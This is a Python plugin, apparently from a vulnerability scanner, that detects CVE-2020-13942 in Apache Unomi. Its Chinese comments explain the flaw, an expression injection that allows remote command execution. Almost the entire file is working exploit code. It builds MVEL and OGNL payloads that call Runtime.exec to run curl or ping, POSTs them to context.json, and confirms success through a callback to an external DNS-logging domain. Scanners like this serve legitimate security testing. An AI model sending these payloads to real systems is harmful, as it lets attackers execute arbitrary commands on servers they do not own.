#!/usr/bin/env python3
# -*- coding:utf-8 -*-

'''
Apache Unomi 是一个基于标准的客户数据平台(CDP, Customer Data Platform)
用于管理在线客户和访客等信息, 以提供符合访客隐私规则的个性化体验
    Apache Unomi 远程表达式代码执行
        CVE-2020-13942
            Payload: https://vulhub.org/#/environments/unomi/CVE-2020-13942/

在Apache Unomi 1.5.1级以前版本中, 
    存在一处表达式注入漏洞, 远程攻击者通过MVEL和OGNL表达式即可在目标服务器上执行任意命令
'''

from lib.api.dns import dns
from lib.tool.md5 import random_md5
from PluginManager import Vuln_Scan

class Scan(Vuln_Scan):
    def __init__(self):
        payload_mvel = '''{"filters": [{"id": "sample","filters": [{"condition": { "parameterValues": {"": "script::Runtime r = Runtime.getRuntime(); r.exec(\\"COMMANDDNSDOMAIN\\");"},"type": "profilePropertyCondition"}}]}],"sessionId": "sample"}'''
        payload_ognl = '''{"personalizations":[{"id":"gender-test","strategy":"matching-first","strategyOptions":{"fallback":"var2"},"contents":[{"filters":[{"condition":{"parameterValues":{"propertyName":"(#runtimeclass = #this.getClass().forName(\\"java.lang.Runtime\\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\\"getRuntime\\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\\"exec\\")}.{? #this.getParameters()[0].getType().getName().equals(\\"java.lang.String\\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\\"COMMANDDNSDOMAIN\\"))","comparisonOperator":"equals","propertyValue":"male"},"type":"profilePropertyCondition"}}]}]}],"sessionId":"sample"}'''

        self.payloads = [
            # ! MVEL表达式
            {
                'path': 'context.json',
                'data': payload_mvel.replace('COMMAND', 'curl ')
            },
            {
                'path': 'context.json',
                'data': payload_mvel.replace('COMMAND', 'curl http://')
            },
            {
                'path': 'context.json',
                'data': payload_mvel.replace('COMMAND', 'ping -c 4 ')
            },
            {
                'path': 'context.json',
                'data': payload_mvel.replace('COMMAND', 'ping ')
            },
            # ! OGNL表达式
            {
                'path': 'context.json',
                'data': payload_ognl.replace('COMMAND', 'curl ')
            },
            {
                'path': 'context.json',
                'data': payload_ognl.replace('COMMAND', 'curl http://')
            },
            {
                'path': 'context.json',
                'data': payload_ognl.replace('COMMAND', 'ping -c 4 ')
            },
            {
                'path': 'context.json',
                'data': payload_ognl.replace('COMMAND', 'ping ')
            },
        ]
    
    def POC(self, clients):
        client = clients.get('reqClient')
        sessid = '69e506227812d37756fdf19a444de2b5'
        
        vul_info = {
            'app_name': 'ApacheUnomi',
            'vul_type': 'RCE',
            'vul_id': 'CVE-2020-13942',
        }

        headers = {
            'Content-Type': 'application/json'
        }

        for payload in self.payloads:
            md = random_md5()                                       # * 随机md5值, 8位
            dns_domain = md + '.' + dns.domain(sessid)              # * dnslog/ceye域名
            
            path = payload['path']
            data = payload['data'].replace('DNSDOMAIN', dns_domain)

            res = client.request(
                'post',
                path,
                data=data,
                headers=headers,
                allow_redirects=False,
                vul_info=vul_info
            )
            if res is None:
                continue

            if (dns.result(md, sessid)):
                results = {
                    'Target': res.request.url,
                    'Type': [vul_info['app_name'], vul_info['vul_type'], vul_info['vul_id']],
                    'Request': res
                }
                return results
        return None
    
    def EXP(self, clients):
        pass

    def Start(self, clients):
        return self.POC(clients)
